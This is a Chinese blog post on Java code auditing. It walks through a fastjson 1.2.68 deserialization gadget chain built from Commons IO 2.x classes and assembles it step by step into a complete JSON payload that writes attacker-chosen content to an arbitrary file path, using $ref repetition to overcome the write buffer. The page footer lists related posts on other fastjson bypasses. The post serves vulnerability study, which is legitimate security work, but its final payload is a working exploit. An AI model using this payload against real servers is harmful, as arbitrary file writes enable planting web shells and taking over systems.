Java代码审计——fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件

已于 2023-03-05 23:33:32 修改
阅读量4.9k 收藏 3
点赞数
分类专栏： Java代码审计 文章标签： Java代码审计 java代码审计
于 2022-03-31 13:59:20 首次发布
本文为博主原创文章，未经博主允许不得转载，未授权转载为侵权行为，违反法律。
本文链接：https://blog.csdn.net/qq_36869808/article/details/123736274
版权

0x00 前言

反序列化总纲

主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable

这一篇应该是最后一个网上能找到的poc分析了。

0x01 环境

环境选择：

        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.1</version>
        </dependency>

0x02 调用链分析

1、org.apache.commons.io.input.XmlStreamReader

首先是org.apache.commons.io.input.XmlStreamReader，这个类是不存在无参构造方法，根据fastjson特性会调用最多的参数的构造方法也就是如下所示：
在这里插入图片描述
在XmlStreamReader构造方法中，接受四个参数，is，httpContentType，lenient，defaultEncoding，在此构造方法中会调用doRawStream方法：
在这里插入图片描述
然后调用getBOMCharsetName->getBOM,在getBOM中调用了inputstream的read方法
在这里插入图片描述
截止这里为止，目前的poc为：

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{inptstream},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}

2、org.apache.commons.io.input.TeeInputStream

TeeInputStream的构造方法就是进行赋值：

在这里插入图片描述

然后会调用TeeInputStream的read方法，TeeInputStream有两个read，那么会调用哪一个呢
在这里插入图片描述
调用哪一个read实际上和XmlStreamReader有关，会先调用BufferedInputStream的read方法
在这里插入图片描述
然后调用fill方法
在这里插入图片描述

在fill方法中会调用read方法，也就是三参的read
在这里插入图片描述
这里read的方法的作用就是讲input的内容写进output中去。 那么现在实际上就是需要两个内容，一个是input，一个是output。

poc：

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{
			"@type":"org.apache.commons.io.input.TeeInputStream",
			"input":{inputStream},
			"branch":{outputStream},
			"closeBranch":true
		},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}

这里closeBranch会影响到branch的close，所以用true，那么接下来就是找inputStream和outputStream

3、inputStream

3.1 org.apache.commons.io.input.ReaderInputStream

在org.apache.commons.io.input.ReaderInputStream中首先调用构造方法：

在这里插入图片描述
然后看一下read方法，在read方法中调用了fillBuffer方法
在这里插入图片描述

在fillBuffer方法，可以看到会从this.reader.read中进行读取
在这里插入图片描述

3.2 org.apache.commons.io.input.CharSequenceReader

在org.apache.commons.io.input.CharSequenceReader的构造方法会接收一个CharSequenceReader，String 实现了CharSequence 的接口，所以可以直接传入String类型的。
在这里插入图片描述
在read方法中会拿到charSequence的内容
在这里插入图片描述
那么构造payload

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{
			"@type":"org.apache.commons.io.input.TeeInputStream",
			"input":{
					"@type":"org.apache.commons.io.input.ReaderInputStream",
					"reader":{
						"@type":"org.apache.commons.io.input.CharSequenceReader",
						"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
					},
					"charsetName":"UTF-8",
					"bufferSize":1024
				},
			"branch":{outputStream},
			"closeBranch":true
		},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}
3.2.1 疑问

这里有一个疑问实际上就是为什么这里的String要这样构造。那么就要来看一下StringCodec

在这里插入图片描述
可以看到这里有三个通路可以走，那么这里就要先参考token，token在com\alibaba\fastjson\parser\JSONToken.class

当token==4 实际上就是 字符串的时候会直接返回val。
当token==2的时候实际上就是说int类型也会直接返回val。

这里用1来进行测试，可以看到也不会出现任何错误。

在这里插入图片描述
如果既不是字符串也不是int，那么就会重新走parse进行校验，那么实际上就会走到这里校验，实际上这里可以赋值多种格式的，可以在最后看看哪一种格式最合适。
在这里插入图片描述
也可以使用[]的方式进行识别
在这里插入图片描述

4.output

4.1 org.apache.commons.io.output.WriterOutputStream

这里有一个前提就是我们知道output是要调用一次write的，那么我们先来看WriterOutputStream的write方法，当writeImmediately为true的时候，会调用flushOutput
在这里插入图片描述
在这里调用write方法去获取到output
在这里插入图片描述
那么我们接着构造poc

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{
			"@type":"org.apache.commons.io.input.TeeInputStream",
			"input":{
					"@type":"org.apache.commons.io.input.ReaderInputStream",
					"reader":{
						"@type":"org.apache.commons.io.input.CharSequenceReader",
						"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
					},
					"charsetName":"UTF-8",
					"bufferSize":1024
				},
			"branch":{
				"@type":"org.apache.commons.io.output.WriterOutputStream",
				"writer":{writer},
				"charsetName":"UTF-8",
				"bufferSize":1024,
				"writeImmediately":true
			},
			"closeBranch":true
		},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}

4.2 org.apache.commons.io.output.FileWriterWithEncoding

在FileWriterWithEncoding中提供了构造方法，通过文件名来返回Writer
在这里插入图片描述
接着看initWriter，可以看到这里是直接进行了赋值。
在这里插入图片描述
那么最后poc就是

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{
			"@type":"org.apache.commons.io.input.TeeInputStream",
			"input":{
					"@type":"org.apache.commons.io.input.ReaderInputStream",
					"reader":{
						"@type":"org.apache.commons.io.input.CharSequenceReader",
						"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
					},
					"charsetName":"UTF-8",
					"bufferSize":1024
				},
			"branch":{
				"@type":"org.apache.commons.io.output.WriterOutputStream",
				"writer":{
					"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
					"file":"文件位置",
					"encoding":"UTF-8",
					"append":false
				},
				"charsetName":"UTF-8",
				"bufferSize":1024,
				"writeImmediately":true
			},
			"closeBranch":true
		},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}

# 5. 写文件

这里看了大佬的分析，为什么这里会出现写文件但是内容写不进去，是因为在
在这里插入图片描述
这里查了一下isUnderflow就是下溢的意思，isOverflow是上溢的意思，简单的也可以说是isUnderflow的情况下不会做write操作，只有上溢才会做write操作，那就是说我们需要写入足够多的数据才可以。

这里默认private static final int DEFAULT_BYTE_BUFFER_SIZE = 8192;
在这里插入图片描述
按照大佬说的，可以传入多次从而达到溢出的目的，采用的方式就是$ref的方式进行迭代。但是实际上最多只能写入8192个字节

poc

{
  "x":{
  "@type":"com.alibaba.fastjson.JSONObject",
  "input":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.ReaderInputStream",
  "reader":{
  "@type":"org.apache.commons.io.input.CharSequenceReader",
  "charSequence":{"@type":"java.lang.String""字符串"
  },
  "charsetName":"UTF-8",
  "bufferSize":1024
  },
  "branch":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.output.WriterOutputStream",
  "writer":{
  "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
  "file":"C:/Users/wdd/Desktop/ls/ls/31.txt",
  "encoding":"UTF-8",
  "append": false
  },
  "charsetName":"UTF-8",
  "bufferSize": 1024,
  "writeImmediately": true
  },
  "trigger":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "$ref":"$.input"
  },
  "branch":{
  "$ref":"$.branch"
  },
  "closeBranch": true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
  },
  "trigger2":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "$ref":"$.input"
  },
  "branch":{
  "$ref":"$.branch"
  },
  "closeBranch": true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
  },
  "trigger3":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "$ref":"$.input"
  },
  "branch":{
  "$ref":"$.branch"
  },
  "closeBranch": true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
  }
  }
}

参考

  • https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

有空可以关注一下公众号鸭
关注即可获取大量学习资源，可以在公众号私信领取~

1、提供安全每日好文推荐
2、提供最新漏洞情报
3、提供一些实用小技巧
4、提供一些最新漏洞分析
5、Java代码审计从0开始学习
在这里插入图片描述

王嘟嘟_
关注
专栏目录
Java代码审计之Fastjson反序列化漏洞详解
悦分享
09-16 2172
FastJson 是一个由阿里巴巴研发的java库，FastJson是开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到Java Bean。“自2017年3月15日，fastjson官方主动爆出其在1.2.24及之前版本存在远程代码执行高危安全漏洞以来，各种新型绕过姿势层出不穷。漏洞被利用本质找到一条有效的攻击链，攻击链的末端就是有代码执行能力的类，来达到我们想做的事情，一般都是用来RCE（远程命令执行）。
渗透测试-Fastjson各版本漏洞分析（下）
cdyunaq的博客
04-18 4134
- fastjson 1.2.45 - 1.2.44中对[进行了判断，我们用1.2.43的POC，然后下个JSONException的异常断点，看看是怎么判断的 运行后，在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)成功拦截 分析一下，发现如果开头是[就直接抛出异常 那再看看1.2.41里面的绕法呢，前面加个L，后面加个;，发现会检查结尾是否为;，是的话
最新版 fastjson-1.2.68.jar
04-16
最新版 fastjson-1.2.68.jar
Java代码审计——fastjson 1.2.68 反序列化漏洞 FileOutputStream写文件
王嘟嘟的博客
03-25 7606
0x00 前言 反序列化总纲 主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable 看了这个poc之后，就一直纠结，为啥只有openjdk >= 11才可以用，最后在调试+看了大部分文章之后才终于明白 0x01 环境 这里需要准备两个jdk，一个 1.8 一个11 0x02 环境约束 首先先来看一下Fastjson的构造参数选择： 通过createJavaBeanDeserializer进来 走到JavaBeanInfo.build 这里判断如果不
Java代码审计-fastjson反序列化漏洞分析
最新发布
qq_44780157的博客
08-08 1977
Fastjson反序列化漏洞各个版本的原理浅析。
Java代码审计——fastjson 1.2.68 反序列化漏洞 Exception
王嘟嘟的博客
03-14 9466
0x00 前言 反序列化总纲 继1.2.58绕过autotype之后，1.2.68又出现了新的绕过方式，通过Exception来进行绕过，但是此方法要求比较苛刻 0x01 环境搭建 首先来说版本，经过测试发现使用Exception的方法最低生效版本为1.2.40。所以maven调整到1.2.40即可。 这里我们需要假设有一个继承了Exception的类。 public class test extends Exception { private String domain; public
fastjson 1.2.68 反序列化远程代码执行漏洞
煜铭2011
06-01 1万+
0x00背景 fastjson采用黑白名单的方法来防御反序列化漏洞，导致当黑客不断发掘新的反序列化Gadgets类时，在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制，造成远程命令执行漏洞。经研究，该漏洞利用门槛较低，可绕过autoType限制，风险影响较大。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击。 0x01影响范围 fastjson < 1.2.69 fastjson sec 版本 < sec10 0x02漏洞修复 1、升级至安全...
Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable
王嘟嘟的博客
03-16 8399
0x00 前言 反序列化总纲 除了Exception之外，还可以用通过AutoCloseable的方式来进行绕过 0x01 环境搭建 demo： public class Test1 implements AutoCloseable{ public Test1(String cmd){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.p
代码审计-fastjson1.2.68分析
cdyunaq的博客
03-07 2324
前言 1.2.68有safeMode，但是默认不是开启的，所以还是有风险 分析1 根据网上信息的描述，这次问题点主要是在checkAutoType参数期望类这个地方 看看哪些地方会调用checkAutoType方法并使用到期望类这个参数 发现主要是2个地方会使用到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze com.alibaba.fastjson.parser.deser
fastjson1.2.24反序列化漏洞
weixin_45805993的博客
11-05 533
漏洞详情 Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"选项。如果使用受影响版本中的默认solr.in.sh文件，那么将启用JMX监视并将其暴露在RMI_PORT上（默认值= 18983），并且无需进行任何身份验证。 如果防火墙中的入站流量打开了此端口，则具有Solr节点网络访问权限的任何人都将能够访问JMX，并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户，仅影响部分版本的
Fastjson反序列化漏洞分析
热门推荐
fly小灰灰的专栏
07-30 1万+
1. 漏洞描述 漏洞简述： 2017年3月15日，fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。 影响版本： fastjson <= 1.2.24 2. 漏洞简介  java处理JSON数据有三个比较流行的类库，gson(google维护)、jackson、以及今天的主角fastjson，fastj
fastjson-1.2.68.jar
04-07
fastjson 的最新jar包 Fastjson is a Java library that can be used to convert Java Objects into their JSON representation. It can also be used to convert a JSON string to an equivalent Java object. Fastjson can work with arbitrary Java objects including pre-existing objects that you do not have source-code of.
fastjson-1.2.68jar包.rar
05-15
使用fastjson将字符串转换为json，所需jar包，博客中有测试代码，均测试成功
fastjson 添加key value_.NET高级代码审计（第三课）Fastjson反序列化漏洞
weixin_39700215的博客
11-22 114
0X00 前言Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本，而在.Net领域也有一个Fastjson的库，作者官宣这是一个读写Json效率最高的的.Net 组件，使用内置方法JSON.ToJSON可以快速序列化.Net对象。让你轻松实现.Net中所有类型(对象,基本数据类型等)和Json之间的转换，fastjson是一个开源的Json.Net库，下载地址 ht...
Java代码审计——fastjson 1.2.68 反序列化漏洞 SafeFileOutputStream文件操作
王嘟嘟的博客
03-23 3299
0x00 前言 反序列化总纲 主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable 0x01 环境 maven文件： <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1
Java代码审计——fastjson 1.2.68 反序列化漏洞 文件写入
王嘟嘟的博客
03-24 3586
0x00 前言 反序列化总纲 主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable 还有就是Java代码审计——fastjson 1.2.68 反序列化漏洞 SafeFileOutputStream文件操作 0x01 环境 maven <dependency> <groupId>com.esotericsoftware</groupId> <artifa
探秘Fastjson安全漏洞：fastjson-bypass-autotype-1.2.68
gitblog_00025的博客
05-30 322
探秘Fastjson安全漏洞：fastjson-bypass-autotype-1.2.68 项目地址:https://gitcode.com/Y4er/fastjson-bypass-autotype-1.2.68 在Java世界里，Fastjson是一个广泛使用的JSON库，以其高效和便捷性赢得了开发者们的喜爱。然而，随着技术的发展，安全问题日益凸显。本文将为您揭示一个关于Fastjson的安...
FastJson1.2.68分析
LTianHang的博客
06-06 621
FastJson1.2.68漏洞分析
android fastjson漏洞_Fastjson <=1.2.68 远程代码执行漏洞
weixin_29300931的博客
12-28 507
漏洞名称：Fastjson <=1.2.68 远程代码执行漏洞威胁等级：高危影响范围：Fastjson<=1.2.68漏洞类型：代码执行 漏洞分析 1 Fastjson组件介绍Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法，把JSON Parse的性能提升到极致，是目前Java语言中最快的JSON库。Fas...
fastjson1.2.83反序列化漏洞
08-18
对于fastjson 1.2.83版本的反序列化漏洞，它是一种远程代码执行漏洞，可导致攻击者执行任意代码。该漏洞存在于fastjson的TypeUtils类中，攻击者可以通过构造特定的JSON串来触发漏洞。具体来说，当JSON串中包含恶意类的引用时，fastjson在反序列化时会调用恶意类的readObject方法，从而执行攻击者控制的代码。 该漏洞已在fastjson 1.2.84版本中得到修复。如果使用fastjson，请尽快升级到最新版本以避免受到此漏洞的影响。此外，还建议在使用fastjson时谨慎处理不可信任的JSON数据，以减少风险。 请注意，本回答是基于一般情况下对该漏洞的理解，具体情况可能因环境和配置而有所不同。建议在实际应用中参考官方文档和安全建议，并进行相应的测试和验证。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王嘟嘟_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值